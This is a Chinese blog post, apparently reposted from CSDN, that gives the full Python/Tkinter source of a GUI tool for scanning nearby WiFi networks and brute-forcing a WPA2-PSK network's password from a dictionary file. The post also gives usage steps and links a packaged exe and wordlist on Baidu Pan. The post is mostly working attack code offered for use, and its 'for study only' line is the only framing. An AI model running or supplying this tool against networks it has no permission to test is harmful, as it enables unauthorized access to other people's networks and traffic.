小言_互联网的博客

Python+Tkinter编写WIFI暴力破解客户端

456人阅读  评论(0)

  最近闲来无事,学习了一下tkinter,写了一个客户端GUI暴力破解wifi,实测可行,但是效率不高,毕竟几个G的字典数据,电脑是单网卡也不能实现并发爆破,能破解全看缘分,此篇文章仅供学习交流,话不多说,上代码。


  
  1. import pywifi
  2. import csv,os
  3. from pywifi import const
  4. import tkinter as tk
  5. from tkinter import ttk
  6. import time
  7. import tkinter.filedialog
  8. import tkinter.messagebox
  9. def signall_level(signal):
  10. """
  11. 根据信号值判断信号强度等级,信号最强为4
  12. 0 rssi<=-100
  13. 1 (-100, -88]
  14. 2 (-88, -77]
  15. 3 (-66, -55]
  16. 4 rssi>=-55
  17. :return:
  18. """
  19. level = 0
  20. signal = signal
  21. if isinstance(signal, int):
  22. if signal < -100:
  23. level = 0
  24. elif signal >= -100 and signal < -88:
  25. level = 1
  26. elif signal >= -88 and signal < -77:
  27. level = 2
  28. elif signal >= -77 and signal < -55:
  29. level = 3
  30. else:
  31. level = 4
  32. return level
  33. else:
  34. return "信号格式错误"
  35. class WifiGetGui():
  36. def __init__(self):
  37. self.window=tk.Tk()
  38. self.window.title( "WIFI暴力破解")
  39. self.window.geometry( "1050x560")
  40. self.log_text= None
  41. self.crack_button= None
  42. #定义wifi名称
  43. self.wifi_value = tk.StringVar()
  44. #定义字典的路径
  45. self.secret_path=tk.StringVar()
  46. #定义每次连接间隔时间
  47. self.interval_time=tk.StringVar()
  48. #破解后的密码
  49. self.crack_pwd=tk.StringVar()
  50. def set_window(self):
  51. # #定义WIFI搜索栏的FRAME
  52. search_frame=tk.LabelFrame(self.window,text= "附近的WIFI",font=( 'Arial', 10))
  53. search_frame.place(relx= 0.23,rely= 0.5,width= 450, height= 540,anchor= "center")
  54. # # search_frame.grid(column=0, row=0, padx=10, pady=0,columnspan=4)
  55. # #定义wifi搜索按钮
  56. button_search = tk.Button(search_frame, text= "搜索附近WiFi", font=( 'Arial', 10),command=self.get_wifi)
  57. button_search.place(relx= 0,rely= 0,width= 150,anchor= "nw",bordermode= 'inside')
  58. #
  59. #
  60. #
  61. # #创建列表frame
  62. wifi_list_frame = tk.LabelFrame(search_frame,text= "WIFI列表",font=( 'Arial', 10),width= 446, height= 476)
  63. wifi_list_frame.place(relx= 0,rely= 0.08,anchor= "nw",bordermode= 'inside')
  64. #
  65. #
  66. # #创建列表与滚动条
  67. self.wifi_tree=ttk.Treeview(wifi_list_frame,show= "headings",height= 20,columns=( 'num', 'name', 'bssid', 'signal'))
  68. scoroll_bar = ttk.Scrollbar(wifi_list_frame, orient= 'vertical', command=self.wifi_tree.yview)
  69. self.wifi_tree.configure(yscrollcommand=scoroll_bar.set)
  70. # 表格的标题
  71. self.wifi_tree.column( "num", width= 50, anchor= "center")
  72. self.wifi_tree.column( "name", width= 150, anchor= "center")
  73. self.wifi_tree.column( "bssid", width= 150, anchor= "center")
  74. self.wifi_tree.column( "signal", width= 100, anchor= "center")
  75. self.wifi_tree.heading( "num", text= "序号")
  76. self.wifi_tree.heading( "name", text= "WIFI名称")
  77. self.wifi_tree.heading( "bssid", text= "MAC地址")
  78. self.wifi_tree.heading( "signal", text= "信号强度")
  79. # self.wifi_tree.grid(row=4, column=0, sticky='NSEW')
  80. self.wifi_tree.place(relx= 0,rely= 0,anchor= "nw")
  81. self.wifi_tree.bind( "<Double-1>",self.scroll_event)
  82. scoroll_bar.place(relx= 0.98,rely= 0.5,height= 386,anchor= "center")
  83. #定义搜索功能模块
  84. crack_frame=tk.LabelFrame(self.window,text= "WIFI破解",font=( 'Arial', 10))
  85. crack_frame.place(relx= 0.72,rely= 0.5,width= 560, height= 540,anchor= "center")
  86. #
  87. """定义wifi标签和输入框
  88. self.wifi_value.get()
  89. """
  90. crack_wifiname_label=tk.Label(crack_frame, width= 12, text= "WIFI名称:",font=( 'Arial', 10)).place(relx= 0, rely= 0,anchor= 'nw')
  91. crack_wifiname_entry=tk.Entry(crack_frame, width= 15, textvariable=self.wifi_value,font=( 'Arial', 10)).place(relx= 0.18, rely= 0,anchor= 'nw')
  92. """定义字典标签和输入框"""
  93. cata_dir_label=tk.Label(crack_frame, text= "字典目录:",font=( 'Arial', 10)).place(relx= 0.016, rely= 0.06,anchor= 'nw')
  94. entry_dir_entry=tk.Entry(crack_frame, width= 15, textvariable=self.secret_path,font=( 'Arial', 10)).place(relx= 0.18, rely= 0.06,anchor= 'nw')
  95. """定义添加字典文件按钮"""
  96. add_dir_button= tk.Button(crack_frame,
  97. text= "添加字典文件",
  98. font=( 'Arial', 10),
  99. command=self.get_path).place(relx= 0.45, rely= 0.05,anchor= 'nw')
  100. crack_interval_label=tk.Label(crack_frame, width= 12,text= "破解间隔:",font=( 'Arial', 10)).place(relx= 0, rely= 0.12,anchor= 'nw')
  101. self.crack_interval_entry=tk.Entry(crack_frame, textvariable=self.interval_time,width= 15,font=( 'Arial', 10)).place(relx= 0.18, rely= 0.12,anchor= 'nw')
  102. """定义破解后的密码展示框"""
  103. crack_pwd_label=tk.Label(crack_frame, text= "WIFI密码:",font=( 'Arial', 10)).place(relx= 0.016, rely= 0.28,anchor= 'nw')
  104. crack_pwd_entry=tk.Entry(crack_frame, width= 15, textvariable=self.crack_pwd,font=( 'Arial', 10)).place(relx= 0.18, rely= 0.28,anchor= 'nw')
  105. """定义破解日志信息展示框"""
  106. log_frame=tk.LabelFrame(crack_frame,text= "破解详情",font=( 'Arial', 10),width= 550, height= 350)
  107. log_frame.place(relx= 0, rely= 0.34,anchor= 'nw')
  108. """定义日志文本框"""
  109. self.log_text=tk.Text(log_frame,width= 550,height= 300)
  110. self.log_text.place(relx= 0, rely= 0,anchor= 'nw')
  111. # """搜索按钮"""
  112. self.crack_button=tk.Button(crack_frame,text= "开始破解",state= 'active',font=( 'Arial', 10),command=self.get_pwd).place(relx= 0.5, rely= 0.22,width= 150,anchor= 'center')
  113. self.window.mainloop()
  114. def wifi_list_show(self,wifi_list):
  115. for num,wifi_info in enumerate(wifi_list):
  116. self.wifi_tree.insert( '', 'end',values=(num+ 1,wifi_info[ 0],wifi_info[ 1],wifi_info[ 2]))
  117. def scroll_event(self,event):
  118. self.item_info=event.widget.selection()
  119. self.wifi_value.set(self.wifi_tree.item(self.item_info, "values")[ 1])
  120. print( "已设置wifi_value的值为:"+self.wifi_value.get())
  121. self.wifi_tree.item(self.item_info, "values")[ 0]
  122. def get_wifi(self):
  123. """
  124. 0 rssi<=-100
  125. 1 (-100, -88]
  126. 2 (-88, -77]
  127. 3 (-66, -55]
  128. 4 rssi>=-55
  129. :return:
  130. """
  131. wifi = pywifi.PyWiFi()
  132. # ifaces=wifi.interfaces()
  133. # print(ifaces)
  134. iface = wifi.interfaces()[ 0]
  135. if iface:
  136. print(iface)
  137. try:
  138. iface.scan()
  139. time.sleep( 5)
  140. result = iface.scan_results()
  141. wifi_list = []
  142. for w in result:
  143. wifi_list.append([w.ssid.encode( 'raw_unicode_escape').decode( 'utf-8'), w.bssid, signall_level(w.signal)])
  144. print( "排序前的列表%s:" % wifi_list)
  145. for i in range(len(wifi_list) - 1):
  146. min_index = i # 初始化每次循环的下表
  147. for j in range(i + 1, len(wifi_list)):
  148. if wifi_list[min_index][ 2] < wifi_list[j][ 2]: # 与当前下表之后的值进行对比
  149. min_index = j # 如果当前下表大于后面的某一个元素下标,则把下标赋值给最小下标
  150. wifi_list[i], wifi_list[min_index] = wifi_list[min_index], wifi_list[i] # 循环完成,把下标的i的值和循环找出的最小值进行替换
  151. print( "排序后的列表%s:" % wifi_list)
  152. self.wifi_list_show(wifi_list)
  153. return wifi_list
  154. except Exception as e:
  155. msg = "获取wifi信号异常"
  156. return msg
  157. else:
  158. msg = "获取网卡信息异常"
  159. return msg
  160. def get_path(self):
  161. self.filepath=tk.filedialog.askopenfilename()
  162. print( "filepath:"+self.filepath)
  163. self.secret_path.set(self.filepath)
  164. print( "已设置字典文件路径:"+self.secret_path.get())
  165. def check_password(self,wifi_name,try_password):
  166. get_interval=self.interval_time.get()
  167. wifi=pywifi.PyWiFi()
  168. iface=wifi.interfaces()[ 0]
  169. iface.disconnect()
  170. profile = pywifi.Profile()
  171. profile.ssid = wifi_name
  172. profile.auth = const.AUTH_ALG_OPEN
  173. profile.akm.append(const.AKM_TYPE_WPA2PSK)
  174. profile.cipher = const.CIPHER_TYPE_CCMP
  175. profile.key=try_password
  176. iface.remove_all_network_profiles()
  177. tmp_profile = iface.add_network_profile(profile)
  178. print( "密码%s开始调用!"%try_password)
  179. iface.connect(tmp_profile) # 连接
  180. print( "间隔时间是%s"%get_interval)
  181. time.sleep(int(get_interval)) # 尝试10秒能否成功连接
  182. print( "密码%s调用结束"%try_password)
  183. if iface.status() == const.IFACE_CONNECTED:
  184. # # content={"wifi_name":wifi_name,"password":try_password}
  185. # filename=wifi_name+".txt"
  186. # write_file(filename,str(content))
  187. # # return content
  188. return True
  189. iface.disconnect()
  190. else:
  191. return False
  192. def send_log(self):
  193. """更新TEXT页面文本"""
  194. self.log_text.insert( 1.0, self.msg)
  195. self.log_text.update()
  196. def get_pwd(self):
  197. """遍历字典,验证密码"""
  198. wifi_name=self.wifi_value.get()
  199. print( "get_pwd.wifi_name:"+wifi_name)
  200. dic_path=self.secret_path.get()
  201. print( "get_pwd.dic_path:"+dic_path)
  202. with open(dic_path, 'r') as f:
  203. reader = csv.reader(f)
  204. try:
  205. for rows in enumerate(reader):
  206. # row = rows
  207. pwd=rows[ 1][ 0]
  208. print(pwd)
  209. # print(pwd)
  210. bool_check=self.check_password(wifi_name,pwd)
  211. print(bool_check)
  212. if bool_check== True:
  213. self.msg= 'sucess,wifi== %s 破译成功,密码为%s'%(wifi_name,pwd)+ "\n"
  214. print(self.msg)
  215. self.crack_pwd.set(pwd)
  216. pwd_path= os.path.join(os.path.dirname(dic_path),wifi_name+ '.txt')
  217. self.write_file(pwd_path,self.msg)
  218. self.send_log()
  219. tk.messagebox.showinfo(title= "破译成功",message= "密码为%s"%pwd)
  220. break
  221. else:
  222. self.msg= "failed,wifi== %s 匹配密码%s,破译失败"%(wifi_name,pwd)+ "\n"
  223. self.send_log()
  224. print(self.msg)
  225. continue
  226. except Exception as e:
  227. self.msg= "数据字典读取异常"
  228. def write_file(self,path, content):
  229. if content:
  230. with open(path, mode= "a+", encoding= "utf-8") as f:
  231. if type(content) != str:
  232. content = content.decode( "utf-8")
  233. f.write(content)
  234. f.flush()
  235. f.close()
  236. print( "list信息已保存到" + path)
  237. if __name__== "__main__":
  238. wif=WifiGetGui()
  239. wif.set_window()

以上为全部的代码,下载后安装对应的依赖库就可以执行了,效果如下

1、点击搜索,可以看到最近的wifi

3、双击wifi名称,可以自动填充到wifi名称里面,点击"添加字典"按钮,可以添加字典文件,破解间隔需输入每次连接的等待时间,实测需要大于2s会比较可靠,点击"开始破解"按钮会开始进行破解,破解完成后密码会填充到密码框里面,同时在字典目录生成一个txt文件存储破译的wifi名称与密码。

 

放置了一个打包 的exe文件和字典放在百度云盘的,有兴趣的可以下载来玩玩!

链接:https://pan.baidu.com/s/1WFShj0ytaiMk1o_RMduDYA

提取码:bqrh


转载:https://blog.csdn.net/zw2914863/article/details/106801288
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场